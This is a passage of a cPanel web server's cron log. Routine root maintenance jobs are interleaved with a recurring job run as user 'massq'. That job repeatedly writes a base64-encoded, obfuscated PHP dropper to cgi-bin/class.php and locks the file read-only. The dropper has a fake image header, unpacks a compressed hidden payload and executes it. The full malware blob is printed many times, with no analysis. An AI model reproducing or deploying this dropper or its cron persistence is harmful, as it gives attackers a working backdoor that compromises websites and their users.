--decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:41:01 server CROND[9944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:41:01 server CROND[9945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:42:01 server CROND[10371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:42:01 server CROND[10373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:42:01 server CROND[10374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:42:01 server CROND[10375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:43:01 server CROND[10742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:43:01 server CROND[10743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:43:01 server CROND[10744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:44:01 server CROND[11105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:44:01 server CROND[11106]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:44:01 server CROND[11107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:45:01 server CROND[11585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:45:01 server CROND[11586]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:45:01 server CROND[11588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:45:01 server CROND[11589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:45:01 server CROND[11593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:45:01 server CROND[11591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:45:01 server CROND[11590]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:46:01 server CROND[12452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:46:01 server CROND[12453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:46:01 server CROND[12454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:47:01 server CROND[12838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:47:01 server CROND[12839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:47:01 server CROND[12840]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:48:01 server CROND[13338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:48:01 server CROND[13340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:48:01 server CROND[13339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:49:01 server CROND[13753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:49:01 server CROND[13754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:49:01 server CROND[13755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:50:01 server CROND[14157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:50:01 server CROND[14159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:50:01 server CROND[14162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:50:01 server CROND[14164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:50:01 server CROND[14167]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:50:01 server CROND[14169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:50:01 server CROND[14163]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:50:01 server CROND[14171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:50:01 server CROND[14165]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:51:01 server CROND[15076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:51:01 server CROND[15078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:51:01 server CROND[15077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:52:01 server CROND[15440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:52:01 server CROND[15441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:52:01 server CROND[15442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:53:01 server CROND[15811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:53:02 server CROND[15812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:53:02 server CROND[15813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:54:01 server CROND[16156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:54:01 server CROND[16158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
